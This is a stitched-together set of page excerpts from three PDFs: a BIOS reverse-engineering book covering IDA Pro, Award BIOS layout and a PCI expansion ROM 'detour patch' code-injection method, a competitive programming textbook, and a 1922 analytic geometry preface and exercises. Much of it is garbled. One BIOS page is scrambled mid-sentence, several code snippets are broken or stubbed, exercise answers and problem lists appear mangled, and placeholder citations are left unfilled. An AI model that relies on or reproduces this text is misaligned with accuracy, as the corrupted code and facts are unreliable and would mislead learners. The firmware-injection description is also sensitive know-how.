BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 257 Context: SECTIONS { .text __boot_vect : { *( .text) } = 0x00 .rodata ALIGN(4) : { *( .rodata) } = 0x00 .data ALIGN(4) : { *( .data) } = 0x00 .bss ALIGN(4) : { *( .bss) } = 0x00 } 7.3.3.2. PCI PnP Expansion ROM Checksum Utility Source Code The source code provided in this section is used to build the build_rom utility, which is used to patch the checksums of the PCI PnP expansion ROM binary produced by section 7.3.3.1. The role of each file as follows: • makefile: Makefile used to build the utility • build_rom.c: C language source code for the build_rom utility Listing 7.7 PCI Expansion ROM Checksum Utility Makefile # ----------------------------------------------------------------------- # Copyright (C) Darmawan Mappatutu Salihun # File name : Makefile # This file is released to the public for noncommercial use only # ----------------------------------------------------------------------- CC= gcc CFLAGS= -Wall -O2 -march=i686 -mcpu=i686 -c LD= gcc LDFLAGS= 31 #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 36 Context: # IDA Pro Workspace ![Figure 2.8 IDA Pro workspace](path/to/image) Up to this point, you have been able to open the binary file within IDA Pro. This is not a trivial task for people new to IDA Pro. That's why it's presented in a step-by-step fashion. However, the output in the workspace is not yet usable. The next step is learning the scripting facility that IDA Pro provides to make sense of the disassembly database that IDA Pro generates. ## 2.3. IDA Pro Scripting and Key Bindings Try to decipher the IDA Pro disassembly database shown in the previous section with the help of the scripting facility. Before you proceed to analyze the binary, you have to learn some basic concepts about the IDA Pro scripting facility: IDA Pro script syntax is similar to the C programming language. The syntax is as follows: #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 4 Context: # PREFACE This book is intended as a textbook for a course of a full year, and it is believed that many of the students who study the subject for only a half year will desire to read the full text. An abridged edition has been prepared, however, for students who study the subject for only one semester and who do not care to purchase the larger text. It will be observed that the work includes two chapters on solid analytic geometry. These will be found quite sufficient for the ordinary reading of higher mathematics, although they do not pretend to cover the ground necessary for a thorough understanding of the geometry of three dimensions. It will also be noticed that the chapter on higher plane curves includes the more important curves of this nature, considered from the point of view of interest and applications. A complete list is not only unnecessary but undesirable, and the selection given in Chapter XII will be found ample for our purposes. #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 258 Context: ```markdown # Listing 7.8. build_rom.c ```c /* * Copyright (c) Damarwan Mappatutu Salihun * File name: build_rom.c * This file is released to the public for noncommercial use only * * Description: * This program zero-extends its input binary file and then patches it * into a valid PCI PnP ROM binary. */ #include #include #include typedef unsigned char u8; typedef unsigned short u16; typedef unsigned int u32; enum { MAX_FILE_NAME = 100, ITEM_COUNT = 1, ROM_SIZE_INDEX = 0x2, PnP_HDR_PTR = 0x1A, PnP_CHKSUM_INDEX = 0x9, PnP_HDR_SIZE_INDEX = 0x5, ROM_CHKSUM = 0x10, /* Reserved position in PCI PnP ROM, that can be used */ }; static int ZeroExtend(char *f_name, u32 target_size) { FILE *f_in; long file_size, target_file_size, padding_size; // Additional implementation needed here } ``` ## Makefile ``` all: build_rom.o $(CC) $(LDFLAGS) -o build_rom build_rom.o cp build_rom ../ %.o: %.c $(CC) $(CFLAGS) -c $< clean: rm -rf build_rom *.o ``` ``` #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 516 Context: 1. The assembler must be able to work with the original binary, in particular reading bytes from it and replacing bytes in the original binary. 2. The assembler must be able to produce a final executable13 binary file that combines both the injected code and the original binary file. Among all assemblers that I've come across, only FASM meets both of the preceding requirements. That's why I'm using FASM to work with the template. Figure 12.13 presents the overview of the compilation steps when FASM assembles the source code in listing 12.21. - Place the contents of the included binary file in the very beginning of the output binary. - Expand macro calls into assembly language code. - Compile the overall assembly language code, append the result after the included binary file in the output binary. - Execute the "fasm interpreter instructions" in the source code to modify the output binary. Figure 12.13 Overview of PCI expansion ROM "detour patch" assembling steps in FASM (simplified) Perhaps, you are confused about what the phrase "FASM interpreter instructions" means. These instructions manipulate the result of the compilation process; for example, the load and store instructions. I'll explain their usage to clarify this issue. Start with the load instruction: 13 Executable in this context means the final PCI expansion ROM. #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 12 Context: # Convention There are a lot of C++ codes shown in this book. If they appear, they will be written using this font. Many of them use typedefs, structs, or macros in an effort to use abbreviations for speed up the coding time. In the short section, in their second examples, Java support has been included substantially in the second editions of this book. This book uses Java, such as, does not support macros and typedefs. ```cpp // Suppress some compiler warning messages (only for VC++ users) #define _CRT_SECURE_NO_DEPRECATE ``` ## Shortcuts for "common" data types in cstreams ```cpp typedef long int ll; // comments are marked with code typedef pair pii; // these are aligned to the right like this typedef vector vll; typedef vector vpii; ``` ## Common master settings ```cpp // memset(memo, -1, sizeof(memo)); // initialize DP memoization table with -1 // memset(arr, 0, sizeof(arr)); // to clear array of integers ``` ## Note that we abandon the usage of "RBP" and "RHR" in the second edition To reduce the confusion encountered by new programmers. The following shortcuts are frequently used in our C/C++ codes, as shown in this box: ```cpp // a = b + c; // to simplify: (a) = (b) + (c) // index = (index + 1) % n; // from index: if (index >= n) index = 0; // index = (index + 1) % (1 + L); // from index: if (index > L) index = 0; // ans = (int)(double(ans) + 0.5); // for rounding to nearest integer // some codes used short circuit AND (&&) and || (||) ``` # Problem Categorization As of August 2011, Steven and Felix combined have solved 1502 UVA problems (≈ 17% of active UVa problems). About 118 of them are short discussed and categorized in this book. These problems are categorized according to a "hard/ easy" criterion. If a problem has been classified into two or more categories, it will be placed in the category with the largest number of submissions (for now). To understand the problems, you might want to refer back to the index at the back of this book and see the notes that pertain to the UVA problem solver handbook index that will help illuminate these problems. We will group the problems based on strategic categories that will allow a reader to access the information more efficiently. Unlike this classification for your training, **the diversity of problems** exists still; it is a must try (we limit ourself to choose maximum 3 highlights per category). #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 56 Context: # 3.2 COMPLETE SEARCH *Steven & Felix* In this section, we give two examples of this simple verb that can be challenging paradigms and provide a few tips to give Complete Search solutions a better chance to pass the required Time Limit. ## 3.2.1 Examples We show two examples of Complete Search: One that is implemented iteratively and one that is implemented recursively (backtracking). We will also discuss a few algorithm design choices to make seemingly "impossible" cases become possible. ### Iterative Complete Search: UV 725 - Division **Abscissm problem statement:** Find and display all pairs of 5-digit numbers that, between them, sum to twice of the first number divided by the second as equal to an integer. For integers \( x \) and \( y \), the above is defined as \( x \mod y = 0 \), where each letter represents a different digit. The first digit of one of the numbers is allowed to be zero, for \( e.g. \, 6 \neq 7 \). A quick analysis shows that digit 5 can only range from 01234 to 98765, which is 100K possibilities. For each digit \( d_1 \), we can get above from \( d_3 \) and then check if all digits are different. 100K equations are small. Thus, iterative Complete Search is doable. #### Exercise 3.2.1.1 What is the advantage of iterating through \( d_1 \) and \( d_5 \) and using back-and-forth choice? #### Exercise 3.2.1.2 Checking digit \( d_2 \) from 01234 to 98765 is straightforward. There is a smaller max upper bound than 98765. What is the better upperbound value? #### Exercise 3.2.1.3 Look at UV 471 - Magic Numbers which is very similar to this example. ### Recursive Backtracking: UV 750 - 8 Queens Chess Problem **Abscissm problem statement:** In this (a standard 8 x 8 board), it is possible to place eight queens on such a board so that no two queens attack each other. This means that we must find all possible arrangements giving the position of each of the queens (i.e. coordinates of \( (i, j) \)). We can use a function `placeQueen` to iterate through each possible configuration of placing the queens in an 8 x 8 board, starting from the top. It will generate configurations where only one queen is in a row. Given the current configuration, if the \( i^{th} \) queen is placed and the kings are located, they cannot attack other queens if \( |x_1 - x_2| \neq |y_1 - y_2| \). We provide code in the next page below. If you have written a recursive backtracking solution before, please scrutinize it and reproduce it using your own coding style. ![Figure 3.3 - 8-Queens Problem](image-url) #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 231 Context: ```markdown // C code for question 7, assuming all necessary includes have been done int main() { int a[20], n = 20; for (int i = 0; i < n; i++) { scanf("%d", &a[i]); } for (int i = 0; i < n; i++) { for (int j = i + 1; j < n; j++) { if (a[i] < a[j]) { printf("%d ", a[j]); // this is part of set } } } printf("\n"); } ## Exercise 1.2.4: Answers for situation judging are in bold: 1. You receive a WA response for a very easy problem. What should you do? - (a) Abandon this problem and do another. **(not ok, your team will lose out).** - (b) Improve the performance of your solution. **(not useful).** - (c) Create tricky test cases and find the bug. **(the most logical answer).** - (d) In ICPC, ask another team in your team to re-do this problem. **(this is a logical answer; this can work although your team will lose precious penalty time).** 2. You receive a TLE response for your O(n) solution. However, maximum n is just 100. What should you do? - (a) Abandon this problem and do another. **(not ok, your team will lose out).** - (b) Improve the performance of your solution. **(not ok, we should have got TLE with an O(n^2) algorithm if n ≤ 200).** - (c) Create tricky test cases and find the bug. **(this is the answer; maybe your program is accidentally trapped in an infinite loop in some test cases).** 3. Follow up question (see question 2 above): What if maximum n is 10,000? - (a) If n ≤ 20, you have no choice but to improve the performance of the algorithm or use a faster algorithm). 4. You receive an RTE response. Your code runs OK on your machine. What should you do? - (a) Look over the code to debug the WA code. There is not enough time for testing. - (b) Increase the limit for another problem and determine if it still breaks. - (c) Ask your teammates. **Make sure to provide potential cases that could cause the code to fail.** 5. Abandon the problem with RTE. Ask the other team members to scrutinize the printed code. - (a) The ICPC Chat: Note that other problems in your team attempt to solve TWO more times. - (b) Create a link to this one. Maybe your team mates can find the bug for the WA code by looking at the printed code. ``` #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 528 Context: # TCG Architecture Overview ![Figure 1.3 Steps in comprehending TCG standards implementation in PC architecture](image_link_here) Figure 1.3 shows that the first document you have to read is the TCG Specification Architecture Overview. Then, proceed to the platform-specific design guide document, which in this current context is the PC platform specification document. You have to consult the concepts explained in the TCG main specification, parts 1-4, and the TSS document while reading the PC platform specification document—the dashed blue arrows in Figure 1.3 mean "consult." You can download the [TCG Specification Architecture Overview](https://www.trustedcomputinggroup.org/specs/TSA), the TCG PC main specification, parts 1-4, and the TSS document which is available for download at [TSS Document](https://www.trustedcomputinggroup.org/specs/TSS). The PC platform specification document is available for download at [PC Client Document](https://www.trustedcomputinggroup.org/specs/PCCilent). The PC platform specification document consists of several files; the relevant ones are TCG PC Client-Specific Implementation Specification for Conventional BIOS (as of the writing of this book, the latest version of this document is 1.20 final) and PC Client TPM Interface Specification FAQ. Reading these documents will give you a glimpse of the concepts of trusted computing and some details about its implementation in PC architecture. From here forward, I’ll explain a bit more about the fundamental concept of trusted computing that is covered by the TCG standards. The TCG Specification Architecture Overview defines trust as the "expectation that a device will behave in a particular manner for a specific purpose." The advanced features that exist in a trusted platform are protected capabilities, integrity measurement, and integrity reporting. The focus is on the integrity measurement feature because this feature relates directly to the BIOS. As per the TCG Specification Architecture Overview, integrity measurement is "the process of obtaining metrics of platform characteristics that affect the integrity (untrustworthiness) of a platform; storing those metrics; and putting digests of those metrics in PCRs (platform configuration registers)." I’m not going to delve into this definition or the specifics about PCRs. Nonetheless, it’s important to note that in the TCG standards for PC architecture, core root of trust measurement (CRTM) is synonymous with BIOS boot block. At this point, you have #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 237 Context: # Exercise 5.5.7.1 Statement 2 and 4 are not valid. The other 3 are valid. ## Chapter 6 ### Exercise 6.2.1 In C, a string is stored as an array of characters terminated by null, for example `char str[30] = "I love STL"; strlen(str) - 1`. It is a good practice to declare arrays slightly bigger than required to avoid "off by one" errors. To read the input line by line and concatenate them, we can use the `strcpy` (e.g., `string`, then get input line by line and use `strcat` on `str` in `string.h` or `string library`. Note that `strcat` is unsafe; it assumes the buffer will always contain the last word. Thus, we can combine the lines into a larger string using `strcat(line)`. We append a space to the last word from one line to avoid accidentally concatenating with the first word of the next line. We keep repeating this process until `string(line)`. ### Exercise 6.2.2 Finding a substring in a relatively short string (i.e., the standard string library) provides no real binary function. We can use the `strstr` function; however, it is not STL as it is not found in `std::`. If there are multiple possible substrings, we can return the position of the first one found instead of returning all possible occurrences. You might have to be able to find the index of the first occurrence without a replacement. ### Exercise 6.2.3 In many string processing tasks, we are required to iterate through every character in our string. If there is a character by index, then we can search for specific characters in our string using `std::` functions for both access and iteration. There are also `toupper(c)` and `isdigit(c)` to check if a character is uppercase or lowercase. In addition, we can look for specific characters like `char a = 'a'; std::string w = "abc";` and check if the given character is one of the characters in the word. This can also be noted as a constant; simply check if it is an alphabet in your code. ### Exercise 6.4.1 and Exercise 6.4.2 Run our sample code. ### Exercise 6.4.3 As with STL string matching, it’s important to look into the frequency of each word. Every time we use one for more than one instance, this could lead to trouble. **Note**: Modify the algorithm accordingly. #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 78 Context: # 3.5 DYNAMIC PROGRAMMING © Steven & Felix The LIS problem can be solved in output-sensitive O(n log k) (where k is the length of the LIS) instead of O(n^2) by maintaining the LIS as it is built and we can keep a binary search tree at the appropriate insertion point to create the LIS. Here are the current LIS steps: - Initially, A = ∅, we have A = ∅. - We can insert A[0] = 10 so that we have a longer LIS A = [7, 10]. - We can insert A[1] = 20 so that we have a longer LIS A = [7, 10, 20]. - For A[2] = 15, instead of inserting A[2] to the LIS, we can replace A[1] with A[2] so that we have A = [7, 10]. - We can insert A[3] = 25 so that we have a longer LIS A = [7, 10, 25]. - For A[4] = 30, we can insert A[4] so that we have A = [7, 10, 25, 30]. - For A[5] = 16, we can replace A[2] so that we have A = [7, 10, 16, 30]. - For A[6] = 8, we can insert A[6] so that we have A = [7, 8, 16, 30]. - For A[7] = 33, we can insert A[7] so that we have A = [7, 8, 16, 30, 33]. This is a greedy strategy. The binary search step is important as the tree can be larger than the LIS length. The last step is where we replace A[i] and update A to be longer. The final length of LIS is 5. [Example code (Longest Non-Increasing Subsequence):](ch1/uv231.cpp) [ch2/uv231.java](ch2/uv231.java) ## 2. Max Sum Abbreviated problem statement of UVA 108 - Maximum Sum: Given an n x k (1 ≤ k ≤ 500) square matrix of integers, extract submatrix with the maximum sum. Example: The 4 x 4 matrix in (1:4) Table 3.3 below is a 3 x 3 sub-matrix with the lower-left maximum sum of 15 (1 + 1 + 2 + 3 + 3 + 4 + 1 + 2). | | | | | |----|----|----|----| | 1 | -2 | -1 | 4 | | -8 | 3 | 1 | 2 | | 3 | 3 | -5 | 1 | | 1 | 2 | 3 | -5 | ```cpp // The lowest possible value for this problem maxSubSum = -127 + 100; // int i = 0; for (int j = 0; j < j; j++) { /* insert logic */ } ``` The answer is here: 1. Utilize a standard DP solution to solve a range problem like this. The DP can show the results better, as larger sub-matrices will involve computing smaller sub-matrices in its and sums computation involves overlapping sub-matrices! #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 190 Context: ``` # 6.7 Chapter Notes The material about String Alignment (Edit Distance), Longest Common Subsequence, Suffix Tree, and Suffix Array are originally from A/P Sung Wun Kin, Ken [36], School of Computing, National University of Singapore. The materials from A/P Ken’s lecture notes have since evolved from these initial slides into the current complete programming text. The section about basic string processing skills (Section 6.2) and the KMP string processing problem are born from our experience with string-related problems and techniques. The number of programming exercises presented here is about three quarters of all the string processing problems discussed in this chapter. We are aware that these are not the typical ICPC problems; however, we believe that programming exercises can improve your understanding. Due to some personal requests, we decided to include a section on the String Matching problem (Section 6.4). We described the substring search algorithms, including the Knuth-Morris-Pratt (KMP) algorithm. The KMP implementation will be useful for you when you modify basic string matching techniques if you still need fast performance. We believe KMP is fast enough for practical use, and we are printing forth several worked solutions in this chapter. Additionally, the KMP implementation draws from the work in [insert relevant citation here]. In our first attempt at matching algorithms, we introduced the concept of a basic string model. For those interested in matching strings, you might also be interested in the following exercises listed in Boyd-Morris, Rabin-Karp, Aho-Corasick’s, Finite State Automaton, etc. Interested readers are welcome to explore them. We have expanded the discussion of the famous String Alignment (Edit Distance) problem and its related Longest Common Subsequence problems in Section 6.5. There are several interesting exercises that discuss the variations of these two problems. The practical inspirations for Suffix Array (Section 6.6) is inspired mainly from the article "Suffix arrays - a programming construct approached by [insert relevant citation here]." We have integrated an algorithmic comparison with the first algorithm of writing Suffix Array implementations for comparing several approaches in the second edition. It is a good note to note that not all exercises listed in the first section apply; they are not that many yet. This is an important note that you will not find another book that touches the basics after. However, there are several other string processing methods, such as Shortest Common Superstring Problem, Burrows-Wheeler Transformation algorithm, Suffix Automaton, and radix tree (more efficient data structure), etc. These are 117 (VUA) (+ 12 others) programming exercises discussed in this chapter. - (only 14 in the first edition, a 118% increase). - There are 24 pages in this chapter. - (only 10 in the first edition, a 190% increase). ``` #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 3 Context: # PREFACE This book is written for the purpose of furnishing college classes with a thoroughly usable textbook in analytic geometry. It is not so elaborate in its details as to be unfitted for practical classroom use; neither has it been prepared for the purpose of exploiting any special theory of presentation; it aims solely to set forth the leading facts of the subject clearly, succinctly, and in the same practical manner that characterizes other textbooks of the series. It is recognized that the colleges of this country generally follow one of two plans with respect to analytic geometry. Either they offer a course extending through one semester or they expect students who take the subject to continue its study through a whole year. For this reason the authors have so arranged the work as to allow either of these plans to be adopted. In particular, it will be noted that in each of the chapters on the conic sections questions relating to tangents to the conic are treated in the latter part of the chapter. This arrangement allows for those subjects being omitted for the shortest course if desired. Sections which may be omitted without breaking the sequence of the work, and the omission of which will allow the student to acquire a good working knowledge of the subject in a single half year are as follows: 46–53, 56–62, 121–134, 145–163, 178–179, 225–245, and part or all of the chapters on solid geometry. On the other hand, students who wish that thorough foundation in analytic geometry which should proceed the study of the higher branches of mathematics are urged to complete the entire book, whether required to do so by the course of study or not. #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 34 Context: # 1.8 GETTING STARTED: THE AD HOC PROBLEMS © Steven & Felix 1. **Problem Set** 41. UVa 11516 - Time trucks (FILE to force, find the pattern) 42. UVa 11631 - Burglars' Turn? (Input) 43. UVa 11942 - Substring (check if other substrings of all bases still have 2 or more) 44. UVa 11679 - Dilemma (string), (shortest single) 45. UVa 1177 - Energy Sweeping (Microfortnight) (tricky stimulus) 46. UVa 1197 - A Dilemma (and her) 47. UVa 1196 - Guide Number (old box) 48. UVa 1194 - Code Number (old box) 49. UVa 1209 - Pool 50. UVa 1210 - Maximum (use 2 pointers) 51. UVa 1211 - Chefland (see 2 integer pairs) 52. UVa 1212 - Mobile Customers (Dilemma) 53. UVa 1213 - Weighted Average (Dilemma) 54. UVa 1214 - Machine Controls (Dilemma) 55. UVa 1215 - Shelve of a Married Man (Dilemma) 56. UVa 1216 - Sacking World Rank (Flash!) 57. UVa 1217 - Language Detector (KualaLumpur!) --- ![Figure 1.4: Some references that inspired the authors to write this book](attachments/reference-books.png) --- 18 #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 112 Context: in compressed state. The compressed component preceding awardext.rom is the compressed system BIOS, and the byte highlighted in pink is a custom checksum that follows the end-of-file marker for this compressed system BIOS. Other compressed components always end up with an end-of-file marker, and no checksum byte precedes the next compressed component in the BIOS binary. Proceed to the pure binary component of the Foxconn BIOS. The mapping of this pure binary component inside the hex editor as follows: 1. 6_A9C0h–6_BFFEh: The decompression block. This routine contains the LZH decompression engine 2. 7_E000h–7_FFFFh: This area contains the boot block code. Between of the pure binary components lay padding bytes. Some padding bytes re FFh bytes, and some are 00h bytes. Reverse Engineering e engineering. The boot BIOS. Understanding the reverse boot block is valuable, because these ifferent vendors. From this point on, I assemble the boot block routines. Now, I'll present some obscure and important areas of of the Foxconn 955X7AA-8EKRS2 you learned how to start ation here. All you have t the initial load address to 8_0000h–FFFh. Then, create new segments at FFF8_0000h–FFFD_FFFFh and relocate the h to that newly created segment to mimic the mapping of the dress map. You can use the IDA Pro script in listing 5.1 to e IDA Pro add the o make it a standalone script in an ASCII file, . a 5.1.2. Award Boot Block This section delves into the mechanics of boot block reversblock is the key into overall insight of the motherboard engineering tricks needed to reverse engineer thehniques tend to be applicable to BIOS from dtecisdthe BIOS code in the disassembled boot block motherboard BIOS dated November 11, 2005. In section 2.3 assembling a BIOS file with IDA Pro. I won't repeat that informdisto do is open the 512-KB file in IDA Pro and seF_Fcontents of 8_0000h–D_FFFFstem adBIOS binary in the syaccomplish this operation. The script in listing 5.1 must be executed directly in thrkspace scripting window that's called with Shift+F2 shortcut. You canwoappropriate include statements if you wish tas you learned in chapter 2 Listing 5.1 IDA Pro Relocation Script for Award BIOS with a 512-KB File auto ea, ea_src, ea_dest; /* Create segments for the currently loaded binary */ for(ea=0x80000; ea<0x100000; ea = ea+0x10000) { SegCreate(ea, ea+0x10000, ea>>4, 0,0,0); } /* Create new segments for relocation */ 6 #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 111 Context: 13. `C8C6H-4D396`: pminit.rom. This is an expansion ROM for an onboard device. 14. `D937H-4E318`: `\\F1\\foxcon.bmp`. This is the Foxconn logo. 15. `E32H-4F1AB`: `\\F1\\6a68.bmp`. This is another logo displayed during boot. After the last compressed component there are padding bytes. An example of these padding bytes is shown in hex dump 5.2. ## Hex dump 5.2 Padding Bytes after Compressed Award BIOS Components | Address | Hex | ASCII | |-----------|----------------------------------|---------------------------------| | 0004F100 | 66F6 6F7D 92B5 B366 B484 0054 5C...| U..H.KH.T | | 0004F110 | A4A0 A0C6 32B2 29A5 2258 B180 0C21...| 0...Y... | | 0004F120 | 03A3 33B6 3956 C0A8 F57F 3A56 A404...| ...I.V.T. | | 0004F130 | D0FF FFFF FFFF FFFF FFFF FFFF FFFF | .................. | | 0004F160 | E0FF FFFF FFFF FFFF FFFF FFFF FFFF | .................. | The compressed components can be extracted easily by copying and pasting it into a new binary file in Hex Workshop. Then, decompress this new file by using HxC 2.55 or WinZip. If you are not using WinZip, give me the new file with a .hx extension so that it will be automatically associated with WinZip. Recognizing where you should cut to obtain the hex file is easy. Just look for the `-lhs-` string. Two bytes before the `-lhs-` string is the beginning of the file, and the end of the file is always `0h`, right before the next compressed file; the padding bytes, some kind of checksum. As an example, look at the beginning and the end of the compressed awardext.rom in the current Foxconn BIOS as seen within a hex editor. The bytes highlighted in yellow are the beginning of the compressed file, and the bytes highlighted in green are the end of compressed awardext.rom. ## Hex dump 5.3 Compressed Award BIOS Component Header Sample | Address | Hex | ASCII | |-----------|----------------------------------|---------------------------------| | 0001A400 | E60C C1F9 041B C000 25 12E0 66C8 352D | .......%...-lhs- | | 0001A480 | EC94 0004 0000 0000 7400 2001 0C61 ... | ...#... | | 0001A460 | 771C 2647 6578 7426 762C 6260 0200 0000 | awardext.rom... | | 0001A410 | 2E07 7E57 1235 56F7 39C0 CCCC ... | ...S... | | 0001E200 | AD83 0579 A8B5 D0A4 4629 004 2320 | ...$... | | 0001E300 | 5C63 520B 00D0 00D0 00D0 0340 1H5F... | ...G... | | 0001E310 | 2001 0341 4554 4242 4242 494E F3C0 | ...ACPTBIL.BIN... | 1. The `-lhs-` marker in its beginning also marks the next compressed file. 2. The end-of-file marker is a byte with 00h value. #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 15 Context: # List of Figures 1.1 Illustration of UVA 1011 - Forming Quiz Teams . . . . . . . . . . . . . . . . 2 1.2 UVA Online Judge and ACM ICPC Live Archive . . . . . . . . . . . . . . . 12 1.3 USACO Training Gateway and Sphere Online Judge . . . . . . . . . . . . 18 1.4 Some references that inspired the authors to write this book . . . . . . . 26 2.1 Examples of BST (Left) and (Max) Heap (Right) . . . . . . . . . . . . . . . 31 2.2 Example of Various Graph Representations . . . . . . . . . . . . . . . . 33 2.3 Unweighted Graph Display . . . . . . . . . . . . . . . . . . . . . . . 36 2.4 Signed 2D Array (A = [7, 8, 5, 3, 1, 10]) . . . . . . . . . . . . . . . 39 2.5 Updating Array A to (3, 7, 8, 5, 10, 10) . . . . . . . . . . . . . . . 40 2.6 Example of a Permutation Tree . . . . . . . . . . . . . . . . . . . . 42 3.1 8-Queens . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45 3.2 UVa 10018 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46 3.3 Visualization of UVA 470 - Robots on Ice . . . . . . . . . . . . . . . 47 3.4 My Annotator . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48 3.5 Visualization of UVA 410 - State Balance . . . . . . . . . . . . . . 52 3.6 UVA 410 - Observation 1 . . . . . . . . . . . . . . . . . . . . . . . 54 3.7 UVA 410 - Observation 2 . . . . . . . . . . . . . . . . . . . . . . . 56 3.8 UVA 10426 - Watering Grass . . . . . . . . . . . . . . . . . . . . . 57 3.9 Bottom-up DP . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58 3.10 Longer Increasing Subsequence . . . . . . . . . . . . . . . . . . . 60 3.11 Coin Change . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61 3.12 TSP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63 4.1 Sample Graph . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69 4.2 Examination of BFS (from UVA 336) [26]. . . . . . . . . . . . . . . . 70 4.3 Example of Person to DAG . . . . . . . . . . . . . . . . . . . . . . 72 4.4 Acknowledgments for Datasets . . . . . . . . . . . . . . . . . . . . 74 4.5 Initializing When BFS Distributes . . . . . . . . . . . . . . . . . 76 4.6 Finding Bridges with DFS and articulation . . . . . . . . . . . . . 78 4.7 An Example of a Directed Graph and its Strongly Connected Components (SCC) . . . 80 4.8 Animating Kruskal's Algorithm for an MST Problem . . . . . . . . . . . 84 4.9 Forming the First MST: Minimum Spanning Tree (MST) Problem as in Figure 4.4 . . . 86 4.10 From root to leaf: MST: Maximum ST, Partial Minimum ST, MST Forest . . . 87 4.11 Should Find the Second Best Spanning Tree from the MST . . . . . . . 88 4.12 Minima (UVA 10043 [28]) . . . . . . . . . . . . . . . . . . . . . 91 4.13 Vertex Weight . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92 4.14 Bellman Ford’s can detect the presence of negative cycle (from UVA 558 [28]). . 93 #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 35 Context: 1.4 Chapter Notes ================= This and subsequent chapters are supported by many text books (see Figure 1.4 in the previous page) and internet resources. Here are some additional references: * To improve your typing skill as mentioned in Tip 1, you may want to play lots of typing games that are available online. * Tip 2 is an adaptation from the introduction text on USACO training gateway [29]. * More details about Tip 3 can be found in many CS books, e.g., Chapter 1.5, [1] or [3]. * Online resources for Tip 3 include: * http://www.openfecdance.com and http://www.asci.com/tech/stl/ for C++ STL * http://java.sun.com/products/jdk/docs/api for Java API. * For more insights to better testing (Tip 5), a little note in software engineering books may be worth trying. * There are many other Online Judges apart from those mentioned in Tip 6, e.g., * POJ: http://poj.org * TJO: http://acm.tju.edu.cn/toj/ * ZOJ: http://acm.zju.edu.cn/onlinejudge/ * UVA: http://uva.onlinejudge.org/ * For a note regarding team contest (Tip 7), refer to: In this chapter, we have introduced the world of competitive programming to you. However, you cannot say that you are a competitive programmer if you can only solve Ad Hoc problems in every programming contest. Therefore, we hope that you only read the material and practice regularly, and having the core chapters of this book, substantially. Once you have finished reading this book, re-read it one more time. On the second round, attempt the various written exercises and the 1118 programming exercises as many as possible. There are 149 UVa ( + 11 others) programming exercises discussed in this chapter. (Only 34 in the first edition, a 371% increase). There are 19 pages in this chapter. (Only 13 in the first edition, a 469% increase). #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 32 Context: # Welcome to IDA! ## Figure 2.3 *Snapshot of the second dialog box in IDA Pro freeware* In this dialog box you can try one of the three options, but for now just click on the **Go** button. This will start IDA Pro with an empty workspace as shown in **Figure 2.4**. ## Figure 2.4 *Snapshot of the main window of IDA Pro freeware* > *Drag a file here to disassemble* #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 35 Context: # REVIEW 29. If \((3, k)\) and \((x, -1)\) are equidistant from \((4, 2)\), find the value of \(k\). 30. If \((3, k)\) and \((4, -3)\) are equidistant from \((2, 1)\\), and are also equidistant from \((1, 4)\) and \((5, -6)\), find the values of \(k\) and \(x\) and locate the point \((y)\). 31. The point \((4, 13)\) is the point of intersection near point \((3, 8)\) of a segment. Find the other end point. 32. The line \(AB\) is produced to \(C\), making \(AB:BC = 4:1\). If \(A\) and \(B\) are \((5, 7)\) and \((2, 9)\), find \(C\). 33. The line \(AC\) is produced to \(C\), making \(AB:BC = 